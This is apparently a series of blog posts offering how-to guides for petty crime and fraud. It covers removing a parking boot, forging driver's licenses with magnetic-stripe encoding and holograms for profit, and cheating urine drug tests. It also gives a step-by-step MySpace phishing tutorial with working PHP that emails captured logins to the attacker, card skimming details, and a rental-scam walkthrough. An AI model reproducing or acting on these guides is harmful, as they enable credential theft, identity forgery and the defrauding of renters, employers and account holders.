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There are major parking problems in many parts of California. With too many cars inside of a limited area it can take hours to find a park space. There are many private parking lots out there that charge as high as $20 an hour. Some of these lots are gated and require you to pay before you are able to leave the parking lot while others simply have a parking attendant that walks around and charges people for parking. Many times these parking attendants won’t see the person parking their car and will leave a bill for them under their windshield. Some of them have egos and will even write pricey tickets to cars that they feel are breaking their rules or did not pay prior to parking.

The State of California allows private parking companies to ticket cars which were parked on their property. However, most people don’t realize that they are not obligated to pay these parking tickets. Unpaid parking tickets received in a private parking lot will never go against your drivers license or your vehicle’s registration. If you look carefully at the fine print on this ticket it will say that its not a state issued ticket and that it won’t go against your license or registration. They make this print really small so people won’t read it and pay the ticket out of fear that they will be penalized by the DMV.

They have very little recourse to force you to pay these tickets. However, they can either tow or boot your car if you attempt to park in their private lots again.

For several months I would park in this one parking lot next to the mall that was between two banks, a Wells Fargo and a Citibank. There were always parking attendants in this lot that attempted to charge you $6 for parking in this lot. They were required to provide 30 minutes of free parking to anyone using either bank. I have accounts at both banks and sometimes when I go into these banks I will come out and there will be a $65 ticket on my car stating that I did not pre-pay for parking. I will dispute this with the attendant, but they will not cancel the ticket. So I parked there anyway and over time I accumulated over 20 parking tickets which I did not pay.

One day I returned to my car to find that the right front wheel had been immobilized by a Denver Boot.

The Denver Boot was invented by a Colorado musician as a means to immobilize the vehicles of people who failed to pay their parking tickets. The idea is that instead of towing the vehicle, which requires time, space and expense, booting can force someone to pay quickly and easily.

I walked around to the back of my car and examined the bright orange parking boot. I noticed that a large orange plate was covering the lug nuts to prevent the car owner from simply removing the wheel and tire, putting on a spare, and then driving away. A short prong pressed against the tire holding the boot in place. The clamp had a padlock encased in a quarter inch of hardened steel and was positioned inside the wheelwell so it would be hard to reach with heavy tools.

I knew that the boot could easily be cut off using either an angle grinder or a propane torch, but I did not have either of tools on hand. I also knew that liquid nitrogen could be used to freeze the metal making it easy to break or thermite could be used to burn the metal into liquid. However, I did not have either of these available.

I found that removing the boot without any tools was quite simple. I noticed that the prongs holding the boot in place was attached to the tire. So I let the air out of the tire and was able to slide the prongs off the tire, partially exposing the hubcab. At this point I could have removed half of the lug nuts, but that would not do me much good because I would still not be able to remove the rest of the lugs and remove the wheel. I tried pulling the boot off the wheel completely, but it would not come off. So I got behind the wheel of the car and drove it backwards a few inches, the bottom of the boot hit the street and the torque of the wheel against the boot popped the boot of the wheel completely.

I was free and I drove away laughing with the boot in my car and later pitched the boot into a dumpster knowing that I got the last laugh. I won’t park there anymore because next time they will resort to towing my car now that they know I can defeat their parking boots. However if I see anyone else booted in this parking lot I will share this secret with them.

Many people complain that most of the fake id sites online are scams and they simply exist to steal people’s money with no intention of ever sending them an actual id card. So there is one simple solution to this problem: making your own fake id cards.

FarEastID.com, i-d-e-n-t-i-t-y.org, eNoveltyID.com, and TheIDShop.com are some of the companies that people have complained about. I have spoke to people who have claimed to have received decent ids from these companies, but recently more people have been coming forward saying that they have been ripped off.

However, after my first post on different fake id sites I was emailed by a guy from NewIDCards.com that assures me that his company is legit, has a toll-free number, customer service, and accepts credit card orders online. I don’t know if his business is legit, but it really seems this way. He is in the process of sending me a sample id to prove the quality of his id cards.

I made my own Fake IDs in college and after making a few good ones for myself I found that everyone wanted one. It’s the type of thing that grows exponentially if you make one good fake id for a friend he or she will show it to all their friends and they will want to buy ids from you and it will go from there.

I thought about getting back into this, however the federal government has the tendancy to come down hard on people who sell ids that can be mistaken for state or federally issued documents. I wouldn’t set up this type of operation unless I lived offshore where the United States goverment couldn’t easily come after me.

People tend to use fake ids for both identity theft and for underaged individuals to be able to purchase alcohol.

Types of Identification

I would suggest making a State ID or Operator’s license from a state outside of the one that you live in. Most bars, clubs, and liquor stores only accept driver’s licenses or state id cards that are issued by one of the 50 states. Its a good idea to pick a state outside your own, because they would be less familiar with the security features and it would be more difficult for them to spot a fake if it is not the type of id that they are used to seeing.

Evolution of Id Cards

Years ago state id and driver’s licenses were printed on security paper and then laminated, sometimes using holograms. Since then advances in printing and imaging technologies have caused them to put new measures in place to prevent forgery.

Today almost all driver’s licenses are now made of Polyvinyl Chloride (PVC) similar to the material that credit cards are printed on. These new PVC cards can only be printed on using very expensive printers like Fargo or Electron. In order to make a decent PVC ID card you either need to purchase one of these printers for 5-10 thousand or use a new type of material called Teslin which is similar to this PVC material, but can be printed on with either a standard InkJet or a Color Laser printer.

Building a template for a Fake ID

The first step in building a fake id is to make the template for the id. One way of doing this would be to scan a real version of this ID card and then take an imaging program like Coral Draw or Photoshop and meticulously edit the ID until it appears perfect. This method would work, but its very time consuming and once done it will be difficult to alter this template to work for different people.

I would recommend using one of the free ID creation programs out there which are designed to allow businesses to make their own id cards. These programs would allow you to copy a driver’s license or state id and have the ability easily change the information which appears on the card and the photo for each person that you want to make an id. Once the template is complete you can easily swap out the information on the card and change the photo to print the next id card.

Espresso ID is an id program with tons of features that would allow you to build your own card design, add and change id photos, add barcodes and magnetic strip encoding. This program costs $99, however there is a free 30 day trial.

Alpha Card offers an ID software solution with all the latest security features such as barcoding, magnetic strip encoding, holograms, and many other types of new security features. They also offer a free trial.

Printing Materials

You will need to select the right type of material to print on depending on the type of id that you are making. If it is a laminated photo id then photo paper will work the best, however if it is a PVC ID card then you will need a product called Teslin.

This material is fairly new and is an excellent, cost effective way to forge PVC ID’s. This material can be printed by laser or inkjet printers. There is a difference between inkjet and laser Teslin. Obviously the laser Teslin is for laser printer and same with the inkjet. Printing on Teslin with an inkjet does not work well so inkjet Teslin is for this. The inkjet is coated with chemicals to absorb the ink effectively. Once printed on and laminated, Teslin becomes almost exactly like PVC.

More information on Teslin can be found at either www.teslin.com or purchased at
www.idsupply.com.

I have also found that there are many vendors on ebay.com selling teslin and other fake id making equipment as well.

Magnetic Strip Encoding For the magnetic strip encoding to work on the id cards you will need either a PVC card stock with a magnetic strip on a laminating pouch with a magnetic strip and a magnetic strip encoder.

You can purchase both card stock with magnetic strips or laminating sheets with magnetic strips as well as the magnetic strip encoder either from www.idsupply.com or off of ebay.

Once you have the proper equipment you will need to read the magnetic encoding off of a real version of the id card that you are copying and determine the algorithm they are using. You can use one of the id programs mentioned above to parse out the encoding and write the appropriate encoding on the magnetic strips for your ids.

Holograms and Lamination

After you have the id template in place, have printed your id card onto the card stock, and have your magnetic strip encoded. You will need to add the hologram to your card.

There are several companies that make custom holograms. Nova Vision, ID Hologram, and some vendors on ebay sell holographic overlays that can be inserted on top of your printed card stock below the lamenating plastic.

After putting the holographic overlay in place you will want to take one of the laminating pouches preferably with 10 mil thickness and laminate the card. I would buy the higher quality laminating pouches either from www.idsupply.com or off of ebay.com.

I would also suggest purchasing a high quality id card laminator like the one above from the same place.

Conclusion

Once you have your template nailed down, your id printed on the card stock, your magnetic strip encoded, your holographic overlay in place, and your card laminated you should be good to go.

It make take a while to get your cards to come out properly. Making good fake id cards is partially having the right equipment, but also part skill. It will take some experience and perhaps a few mistakes to get it down right. However, once you have it nailed it will be extremely profitable. One guy sold his fake ids for around $100 each, it cost him around $8 in materials, so $92 was profit and to pay back what he had invested in his equipment. The demand was so high that he made around 20 ids a day which brought in around $2,000 daily. It can be very profitable.

There are many security vulnerabilites and loopholes in the MySpace social network that can easily be exploited. The whole entire architecture was built using Cold Fusion. MySpace was a great concept, however when it was originally being built no one, not even Tom knew that MySpace would get nearly as big as it did. What was meant to be a simple free site where people could create profiles for fun turned into a massive empire. It quickly grew to over 200 million users and just as much money in annual advertising revenue. Spammers, affiliate marketers, and cpc advertisers saw MySpace as a gold mine. They could inject their ads into the myspace architecture and easily reach millions of people for free. This simple site turned many hackers/spammers into millionaires over night.

MySpace saw these viral marketers as being parasites who were out to exploit their social network and profit off of it however they could. So they started increasing their security to prevent spam and viral marketing inside their network. However, it was fairly easy for these hackers/spammers to change their methods to stay one step ahead of the new security features.

One security vulnerability in particular has proven to be very difficult to block. This loop hole has compromised all of the social networking sites, online banking, ebay, paypal, and even credit card and investment websites. This trick is known as phishing and it can take many forms such as fake webpages, fake emails, or fake popup windows all which ask the user to provide secure information under the assumption that the email or website is from the actual site that they are trying to access.

The Process

The first thing that you need to do is go to the main www.MySpace.com page where people typically log into their MySpace accounts.

When you get to this login page do a view source and open up the raw html source in notepad.

Select “Edit” from the topnav of notepad and select the “Find” option.  Do a find for <form.  In this “<form” tag replace the action attribute to “submit.php”.

So you will be replaceing:

<form action=”http://secure.myspace.com/index.cfm?fuseaction=login.process” method=”post” id=”LoginForm” name=”aspnetForm”>

With the following:

<form action=”submit.php” method=”post” id=”LoginForm” name=”aspnetForm”>

Once you have made this simple change in notepad save the document to your desktop and name it “MySpace.html” or using a similar file name of your choosing.  You will use this page as a fake MySpace login page.

Now you will have to build the file, submit.php, to receive the login information from the fake login page in notepad with the following code:

<html><body>
<?php

// Capture the Email Address and Password from the login page.

$email = $_POST[’ctl00$Main$SplashDisplay$ctl00$Email_Textbox’];
$password = $_POST[’ctl00$Main$SplashDisplay$ctl00$Password_Textbox’];

// Email the captured Email Address and Password to your email address.
// Replace the value in the “$to” field with your actual email address.

$to = “youremail@yourdomain.com”;
$subject = “My Space Login Info”;
$body = “Email: “. $email . ” Password: ” . $password . “.<br />”;;
if (mail($to, $subject, $body)) {
//echo(”<p>Message successfully sent!</p>”);
} else {
//echo(”<p>Message delivery failed…</p>”);
}

// Redirect to the real MySpace login page.
?>
<META HTTP-EQUIV=”REFRESH” CONTENT=”1;URL=http://www.myspace.com”>
</body></html>

This php file does three different actions. First it captures the email address and password provided on the fake MySpace page, then it will email the username and password to the email address specified in the “$to” field, and finally it will redirect back to MySpace.

Be sure to put your email address in the $to field above when editing this file.

Save this file to your desk top and name it submit.php.

Now log into your hosting company’s control panel and upload both the MySpace.html login page and the submit.php action page to a location on your webserver where it can be viewed on the internet.

Type the URL of the location where you placed the MySpace.html page and make sure that all the images and flash videos appear on the page correctly. You may need to add “http://www.myspace.com” if there are any relative links to image or flash items on this fake MySpace login page. However, I have found that most of the images and flash videos have absolute paths which make doing this convenient because all images and flash videos will be pulled directly off the actual myspace site for your fake login page.

Now log into your actual myspace account.

Send either a comment, an email, a bulletin, or a forum/blog post asking people to check out something really cool. Create a link to this cool page offering the free items using the following format Cool Offer Link.

So when this person(s) clicks on this link they will be redirected to your fake login page and think that MySpace dropped their session. They will login on your fake page and it will email you their email address and password behind the scenese without them realizing it. They will be redirected back to MySpace and think that they have just logged into the site or they will be asked to log in again.

You will now have their username and password. This trick can be applied to all social networking such as facebook, stumble, digg, etc. and may require adjustments to be made to work well or to account for new security features to prevent people from doing this trick. However, this type of loophole is very difficult to block if you are create enough about where you can inject these links into their site and how well you can make the login page resemble the actual login page of the site you are trying to break into.

So next time you log into MySpace make sure that the address in your browser’s address bar is actually http://www.myspace.com and not some other site with a fake login page.

These types of links can also be sent to people by email. Ebay, Paypal, and many banking and credit card sites have also been hacked into using these concepts above. It will be nearly impossible to eliminate this type of security vulnerability with naive users.

Below Jared the subway guy will explain this fast and easy step-by-step process on how to hack into people’s myspace accounts.

Last year alone, MasterCard and Visa generated a sales volume of more than $1.735 Trillion, from the circulation of approximately 1.3 Billion credit cards across the United States. With the average American having four credit cards which combined give them an average line of credit of $19,000.

The credit card industry is enormous. There are an average of 50.1 million credit card transactions per day totalling $4.75 Billion. So this industry leaves tons of opportunity for various types of fraud activity. In fact it is estimated that over $150 Billion of the total $1.735 Trillion dollars charged on credit cards was fradulent in one form or another. According to this statistic this fraud approximately accounts for approximately 9% of all credit card activity! This is totally shocking!

Credit Card fraud has skyrocketed now that more and more people are using the internet to make credit card purchases. The most common form of fraud occurs when the card is not present and only a number, expiration date, and authentication code are provided for the transaction. These types of transactions are usually online purchases, over-the-phone transactions, and through mail order.

In fact these forms of credit card fraud have become so common that an entire new language of terms has been developed to describe this activity. Words such as “skimming”, “shoulder surfing”, and “phishing” are all new terms which describe ways in which money can be stolen off your credit card.

Skimming describes the process in which a device is used to copy the magnetic stripe encoding off of a card. This is one reason card holders are cautioned against using ATM machines that look unusual. However all it takes is a couple of seconds to read the magnetic strip off of a card, so a waiter or a store clerk could easily steal your credit card magnetic strip code with an additional two-second swipe.

All they need to do is read the magnetic strip on the credit card with a magnetic strip encoder and then rewrite this information onto either a blank magnetic strip card or onto a gift credit card using a writable encoder.  This type of  skimmed card can be used at gas station pumps or even at grocery store checkout line scanners when transactions take place without the clerk even looking at the card.

The information stored on the magnetic strips of credit cards is as follows:

• Start sentinel — 1 character
• Format code=”A” or “B” — 1 character (alpha only)
• Primary account number — up to 19 characters
• Separator — 1 character
• Country code — 3 characters
• Name — 2-26 characters
• Separator — 1 character
• Expiration date or separator — 4 characters or 1 character
• Discretionary data — enough characters to fill out maximum record length (79 characters total)
• End sentinel — 1 character
• Longitudinal Redundancy Check (LRC), a form of computed check character — 1 character

Shoulder surfing refers to the method in which a fraudster obtains a PIN number by standing near a cardholder at an ATM machine. In some cases, the scam will occur after the PIN has been entered, with the thief distracting the person withdrawing money with a free newspaper. When the cardholder turns away, an accomplice quickly withdraws money.

Phishing refers to e-mail messages randomly sent out to trick customers into disclosing credit card numbers, account passwords or banking information. It is this type of theft that is causing the most problems. These fraudulent e-mail messages pretend to be from well-known companies. A recent study by Gartner of 5,000 adults in the United States estimated that 24.4 million Americans were tricked by phishing e-mail messages in 2006. Statistics from Phishtank, an antiphishing network, found that last month alone some 77,709 phishes were sent out, with 19 percent originating in the United States, 15 percent in France, 14 percent in Turkey and 10 percent from South Korea.

Carding is a term used for a process to verify the validity of stolen card data. The thief presents the card information on a website that has real-time transaction processing. If the card is processed successfully, the thief knows that the card is still good. The specific item purchased is immaterial, and the thief does not need to purchase an actual product; a Web site subscription or charitable donation would be sufficient. The purchase is usually for a small monetary amount, both to avoid using the card’s credit limit, and also to avoid attracting the bank’s attention. A website known to be susceptible to carding is known as a cardable website.

Credit fraud can fall into one of five categories:

Counterfeit credit card
Lost or Stolen Cards
No-Card Fraud
Non-Receipt Fraud
Identity Theft Fraud

The percentage that each type of credit card fraud represents is described below:

Counterfeit credit card: Makes up for 37% of all funds lost through credit card frauds. To make fake cards criminals use the newest technology to “skim” information contained on magnetic stripes of cards and to pass security features such as holograms.

Lost or Stolen Cards: Cards stolen from their cardholders or lost by them account for 23% of all card frauds. Often, cards are stolen from the workplace, gym, and unattended vehicles.

No-Card Fraud: Comprises 10% of all the losses and is completed without the physical card in hand. This can happen by giving your credit card information on the phone to shady telemarketers and deceptive Internet sites that are promoting the sales of their non-existent goods and services.

Non-Receipt Fraud: Is responsible for 7% of all losses. It occurs when new or replaced cards mailed by your card company are stolen during the process of being mailed. However, this type of fraud is on the decline with the card-activation process that most companies use. In 1992, non-receipt fraud represented 16 % of the losses.

It is still possible to get one of these mailed credit card offers and change the address on them to have a credit card that can be activated mailed to a different address.

Identity-Theft Fraud: Accounts for 4% of all losses, and occurs when criminals apply for a card using someone else’ identity and information.

Last week California Supreme Court ruled that employers can fire workers found to have used medical marijuana even if it was legally recommended by a doctor. 

This particular case went to the state Supreme Court after a Sacramento based telecommunications company, Ragingwire Inc., fired Gary Ross for failing a company-ordered drug test.  Gary argued that he held a medical marijuana card which authorizes him to legally use marijuana to treat a back injury subtained while serving in the airforce.  However, the company still decided to fire him.

Raging Wire Inc. argued that it rightly fired Ross because all marijuana use is illegal under federal law, which does not recognize the medical marijuana laws of California or the 11 other states.

The court ruled that the so-called Compassionate Use Act (Prop 215) passed by California in 1996 has nothing to do with employment laws.

Justice Kathryn Werdegar stated, “Under California law, an employer may require preemployment drug tests and take illegal drug use into consideration in making employment decisions.”

Some companies argue that they could lose federal contracts and grants if they allow employees to smoke marijuana, even for medicinal purposes.

Ross on the other hand argued that medical marijuana users should receive the same workplace protection from discipline that employees with valid painkiller prescriptions do.

The nonprofit marijuana advocacy group Americans for Safe Access, which represents Ross, estimates that 300,000 Americans use medical marijuana. The Oakland-based group said it has received hundreds of employee discrimination complaints in California since it began tracking the issue in 2005. The group will now focus on getting the Legislature to pass a law protecting medical marijuana users in the work place.

Another California Supreme Court Judge, Justice Joyce Kennard said the ruling was “conspicuously lacking in compassion” and “disrespects” the California medical marijuana law. She said employers should be barred from firing workers who use medical marijuana if they perform their jobs adequately.

The American Medical Association advocates keeping marijuana classified as a tightly controlled and dangerous drug that should not be legalized until more research is done.

Marijuana Detection Time Based on Usage
Usage at 1 time only ——————— 5-8 days
Usage at 2-4 times per month ———–  11-18 days
Usage at 2-4 times week —————-  23-35 days 
Usage at 5-6 times per week ————  33-48 days
Daily Usage —————————– 49-63 days 

Beating Urine Tests for Marijuana

There are commercial and household detox products out there that will help you pass urine tests for marijuana.  Some people object to using these commercial products because they charge high prices when large volumes of water alone tends to work for most people.

Ignore the money-back guarantees on these commercial detox products.  These companys sell thousands of these kits through advertising in High Times, they are really inexpensive to produce, and they have a large profit margin.   Thus a few returns from a couple of motivated users are rather insignificant to them.   Even GoldenSeal could get away with offering a money back guarantee because the large volume of water that you are required to drink alone causes most people to pass.  Also some companys actually refuse to uphold this guarantee.  A guy in Sonoma County who tested positive sent the lab results back, only to be told by the company that marijuana is illegal.  He was never compensated for buying a failing product.

You can try a detox product, but you may be able to achieve the same results by drinking 8 glasses of water before the test along with vitamin B and creatine to make your urine color right.  However, I would not risk it and I would try to use someone else’s urine kept warm with a pocket glove or boot warmer pouch.

Laboratories know how easy it is to tamper with urine samples and thus alter the results. Therefore Labs often test the urine to find out if the sample is legitimate.  Below are a list of things that the laboratory will look for when testing your urine.

Color:  If a urine sample looks clear, the lab will suspect that it’s watered down. They can’t report it as positive, but they may reject the sample and inform your employer that you tried to beat the test. If this happens, the sample might as well be positive, because you won’t get hired. Take a vitamin B complex to keep the color of your urine yellow.

Temperature: Urine should be between 91 and 97 degrees. NIDA certified labs will verify temperature. If it is not within this range, they will suspect that you added water to the cup, or used someone else’s urine.  Disposable pocket hand warmers (sold in department stores) will keep a urine sample warm, provided that the urine is held in a condom or douche bag.

Creatinine: Creatinine is a substance produced by vertebrates, and it shows up in urine. If someone substitutes their urine with something other than urine, like Mountain Dew, they will test negative for creatine.  The test will most likely fail because Mountain Dew contains zero creatinine, and labs test creatinine levels to ensure that the sample is valid. Creatinine levels drop below normal when people dilute their urine. This tests to ensure that the subject didn’t drink unusual amounts of water. An *accurate* creatinine “clearance” test would require a urine and blood test 24 hours before the drug test to determine the normal creatinine level for that individual. This is almost never done. You should still be cautious because they do often use the inaccurate method of comparing your creatinine level during the drug test to an average. Eating foods rich in protein like red meat will slightly increase creatinine levels. There is no significant variation between vegatarians and armavors, so the effect protein has is little. Sexual activity also raises creatinine levels. I doubt sexual activity influences creatinine level with much significance. However, a vegetarian that doesn’t have much sex should be concerned. People who are drug-free sometimes lose their jobs for having too low of a creatinine level.  You can also buy creatine monohydrate to raise your creatine levels.

pH: pH is often changed when people spike their sample with household products. Use caution when doping urine, pH is usually tested.

Producing Clean Urine

THC is fat soluble, and it gets stored in your fat cells. Cleaning it out of your lipid tissue is very difficult. Many herbal products claim to clean out your system, yet they do nothing to remove THC byproducts from fat cells.

A study was done in Germany in 1993 on 50 of the most common herbs used by people trying to pass drug tests.  All 50 herbs failed to cause a negative test result on a person who uses marijuana. Unfortunately, these rumors will not die. Goldenseal (plant) is useless; yet it’s the most common thing for people to use. The only way to extract THC from fat cells is to exercise. Fat cells secrete fat with THC metabolites at a constant rate, regardless of what herbs you consume. You may be able to temporarily clean THC metabolites from your bloodstream, or dilute your fluids to yield a larger urine/THC ratio, but your bloodstream will continue collecting THC metabolites from fat. Your urine will continue collecting THC metabolites from your bloodstream.

Dilution: Hyper saturating your body with fluids will dilute metabolites possibly below the 50 ng/mL threshold, depending on your metabolism. Be aware that creatinine levels are often tested, and will show that the sample has been diluted. Diluting your sample will also produce clear urine, with virtually no yellow color. They will assume that you’ve diluted your sample, and they may reject your sample on the basis of color alone. It’s only necessary to start drinking just before the test. Those who drown themselves in fluid days before a test are only causing unnecessary discomfort. Those who stay up all night drinking water do not have any better chance than one who drinks heavily first thing in the morning. Get up early if the test is early, but do not lose sleep over a test that’s given in the daytime.

Water: Drink at least eight hefty glasses of fluid (preferably water) just prior to the test. Many people start drinking water several days before the test; which is useless. Water does *not* clean any THC metabolites out of your system because THC is not water soluble. Water only dilutes urine temporarily. Do not over do it; you can get water intoxication. People can actually overdose and even die from water intoxication. It’s very hard to do, and you’ll vomit before anything gets serious.

Creatinine level: Eating red meat will boost creatinine levels. If you eat a lot of red meat for the 3 days prior to the test, your creatinine level will be normal, and the lab won’t know that you’ve diluted your urine sample.

Vitamin B: Color your sample yellow by taking 50 to 100 milligrams of vitamin B. Many vitamins will work, but B-2 or B-12 (found in B-complex vitamins) are the most effective, though some will argue that vitamin C is better. This will also help if you plan to dope your sample (section 7). This does not guarantee that dilution will work. Diluted samples have been red-flagged when specific gravity and creatinine levels are tested and below normal. If you’re taking vitamins at the last minute, check to see if they’re time release. If so, crush it up and consume the powder. Coloring your urine isn’t all that important because it’s normal for people to have clear urine even when they don’t consume much fluid.

Diuretics: Diuretics make people urinate frequently. Coffee, cranberry juice, beer, iced tea, herbal tea, and Pepsi are all good diuretics. Grapes are known to be very good diuretics. Diuretics without caffeine or alcohol are recommended because caffeine and alcohol have negative side effects. Cranberry juice is also the cheapest. Avoid salts. Herbal diuretics do better than home remedies like juices.
How to Give a Clean Sample

Do NOT take the test using the urine from your first urination of the day.  It’s the dirtiest, and can be heavily filled with metabolites. Urinate a couple of times before giving a test sample. Also, don’t give the beginning or end of the stream. Piss in the toilet, then quickly stop and go in the cup. Stop, and shift back to the toilet for the last portion. Only give a midstream sample. Just be sure to give the proper amount.

Exercise: Athletes have a big advantage over normal civilians. When fat is burned, THC byproducts are released into the blood. This is the only way to get THC metabolites out of lipid tissue.   Due to an athletes high metabolic rate, THC moves through an athletes system significantly faster. Exercising between drug tests will clean THC metabolites from the system at a faster rate, thus lowering the detection period. It is important to stop burning fat cells near test time. On test day, it doesn’t matter what’s in your lipid tissue. What’s in your blood and urine does matter. Exercise increases the amount of THC metabolites in the urine; so quit exercising a week before the test. Be lazy, and eat big. This will put the body in an anabolic fat-storing stage. At this point, the “buried” THC metabolites won’t escape and go the the urine.

Hair Testing

When THC metabolites are in the blood, they go through the blood vessels in the head, and get filtered through the hair. THC metabolites remain in the hair as a permanent record. The hair test costs several hundred dollars ($150-$300) and is rarely given because urinalysis is cheaper (approximately $65) and more accurate. (The hair test equipment and setup goes for over a million). According to Jeff Nightbyrd, hair tests are “widely used in the casino industry.” They cut 50 strands of hair from the scalp, and send it in to the testing lab where they liquefy it. “A hair sample is disolved in a series of solvents which extract the drug metabolites and then are analyzed via GC/MS.” It can take several hours to days just to extract metabolites. Average hair grows 1/4 inch per month. Typically they just use hair one and a half inches from the scalp; though some labs will take enough to test for up to 3 years. The liquid is run through the most sensitive GC/MS machines available, and can detect as little as 1 ng/mL! The hair test discriminates in that detection is easier in dark hair. Colored people may be discriminated against further because melanin is in their hair, which can be mistaken for THC. However, there is conflicting data as to whether melanin can be detected as THC. Psychemedics Corporation has a PDT90 kit for $75. This home test kit is for parents that want to chop off a lock of their child’s hair to find out what drugs s/he is using. Kids- lock your bedroom doors at night if your parents don’t trust your judgment on the drug issue.

Beating the hair test is extremely hard, and there are false positives. Bleaching or dying your hair is rumored to work, but it doesn’t. I imagine you can shave every hair on your body and claim that you’re a swimmer. According to NORML, Aloe Rid by Nexus is a shampoo that will aid in testing negative. Aloe Rid is available only in salons. Healthy Hair, from Sampson Health Products, is another shampoo designed to beat the hair test. Healthy Hair is sold in retail stores throughout Las Vegas. Keith Thrash from Sampson Health Products reccommends precleansing with Aloe Rid prior to using Healthy Hair. Healthy Hair is used in the morning and before going to bed. Each session takes 20 minutes. According to Steve at Sampson Health Products, two out of a thousand people failed the hair test when using Healthy Hair. Byrd Labs is currently developing a shampoo to defeat the hair test. Some have suggested treating hair with oil because THC is oil based and oil soluble. However, there is no proven way to beat the hair test, so it’s all heresay and guessing at this point. (If anyone has any success with the shampoos or the swimmer excuse, please let me know). Swimming and washing your hair removes toxins, and Keith Thrash recommends doing both as much as possible. Fortunately, the hair test cannot be used alone as evidence because there are no forensic standards. It can only be used when substantiated by other evidence. Also, there are no intoxication standards.

I believe if you tested positive for the hair test that you would probably have a good chance of fighting it.  BlockBuster Video uses the most up-to-date equipment, and passing such a test can be difficult.  It takes several months of precleansing to beat the tests given by Psychemedics.

Now that the housing market is crashing and prices are falling. It has become a very risky time for people to buy real estate and there are far less buyers out there. So this means that the rental market is becoming very strong and more and more people are looking for places to rent rather than buy. This high demand for rental houses creates a perfect opportunity for con artists.

This situation has caused the ultimate real estate rental scam to surface. In this scam a con artist will pick an area with a hot rental market where rental houses are in high demand.

The con artist will go to a vacation rental website such as HomeAway.com and pick an appealing house that’s in a relatively residential area rather in a prime tourist area. The con artist will book this house as a weekend rental either on this website or over the phone.

The con artist will then take photos and information on this house from the vacation rental site and place a free rental ad on CraigsList.com listing this house as a rental property with a 12 month lease.

The con artist will set the rental price of this house low, but not to the point where it’s unbelievable. So if this house typically rents for $2,000 a month, the con artist would place an ad saying that the rental price is $1,200 a month with a 12 month lease and one months deposit. This seems like a great deal.

The con artist would list a contact phone number and take calls from the prospective renters and answer their questions. But he would not provide the address of the property on the CraigsList ad or over the phone until the prospective renters are ready to set up an appointment to see the property.  He will mention on the phone and in the ad that the address is not provided because they are worried about too many people disturbing the current tenants who are leaving at the end of the month.

From this CraigsList.com ad the con artist will get calls from +30 people who are interested in renting the property. So the con artist will set up appointments for people to see this property on Saturday of the weekend that the con artist is going to be renting out this home. The con artist can easily space out the appointments an hour or so apart to avoid the prospective renters from running into one another.

When people show up for their appointments to see the rental property, the con artist will show them the property and pretend that he is the owner. He will say that the current tenants will be leaving at the end of the month to account for the furniture in the place.

The prospective renter will like the property since it is way under-priced and will badly want to rent the place because it seems like such a great deal. The con artist may then tell them that they have a few other people who might be interested in renting the place to get this prospective renter even more antsy. The con artist will go on to say that his time is limited or that he is from outside the area and he would like to have the place rented by the end of the weekend.

So the con artist will have this prospective renter fill out a generic application form with his personal information and permission to run a background and credit check. He will send them on their way and say that he will give them a call once he has run the background and credit check.

An hour or so later the con artist will see the next prospective renter and do the exact same thing. The con artist may see as many as 10-12 prospective renters this Saturday, all of which who really want to rent this property.

The evening after the con artist has seen all the prospective renters and collected their applications, he will start calling the prospective renters one-by-one saying that he ran their credit and background information and he has picked them to rent the property. The con artist will go onto say that he would like them to sign the lease and leave their deposit by the end of the day tomorrow (Sunday).

The con artist will remind the prospective renter that he still has multiple people who are interested in renting the property, but they are taking too long in getting back to him. This will put pressure on the prospective renter to move quickly to get the deal sealed. This may also make any less desirable renters feel that they were picked as tenants for this property due to the limited time that the owner had in getting the property rented and will cause them to jump on this opportunity.

The con artist will request that the prospective tenants pay him the full first months rent plus one months deposit $2,400 at the time of lease signing. He will ask them to meet him either that night or sometime on Sunday. If the prospective renter cannot pay for one full months rent plus deposit - $2,400, the con artist will settle for a smaller $300-500 deposit to hold the property.

The next day on Sunday the con artist will spend the entire day meeting with the prospective renters one-by-one in appointments spread through out the day, having them sign fake leases and then collecting their first months rent plus deposit or smaller deposit amounts.

The majority of these 10-12 prospective renters that the con artist has called back will show up to sign a lease and either give him cash, check, or money order for $2,400 (first month and deposit) or $300-500 (smaller deposit amount). So if he gets 6 people to pay him $2,400 and 4 people to pay him $400 then he will have a total of $16,000 that he has collected from people this weekend.

The prospective renters will leave the house with a worthless signed lease and a receipt indicating that the con artist has received payment from them. They will not realize that they have been scammed until they try to show up at the property at the end of the month and try to move in. This gives the con artist plenty of time to cash their checks.

At the end of the weekend the con artist will leave the property and first thing Monday morning will drive to the banks where the checks he received were issued. He will ask to get cash for the checks even though he does not have an account with this bank. Since this bank is the one where the check was issued they will have no trouble verifying the funds and will give him cash for the check. It will be even easier for him to cash the cashiers checks. If he can’t get to the bank where the check is issued, he may take their checks to a check cashing place and get them cashed for a fee.

The con artist has left town with around $16,000 that he made over the weekend. His cost of renting the house for the weekend might be around $400-500 and he might have spent $10-30 on the generic rental applications and lease agreements which anyone can buy at their local Staples or Office Depot. So over the course of this weekend he made at least $15,000 which is not a bad take for the weekend.

The prospective renters show up at the property in two weeks time and realize that they have been scammed, but by this time it’s already too late. The con artist has already cashed their checks and has left town. He is probably planning on taking his next weekend trip in another state where he can repeat this scam and make another $15,000.

So if a con artist can pull off this scam for one weekend a month for at least ten months a year then he will make a total of $150,000 a year for just ten weekends worth of work. It seems like quite a lucrative scam. I really wonder how many people make a good living off doing a scam like this one.

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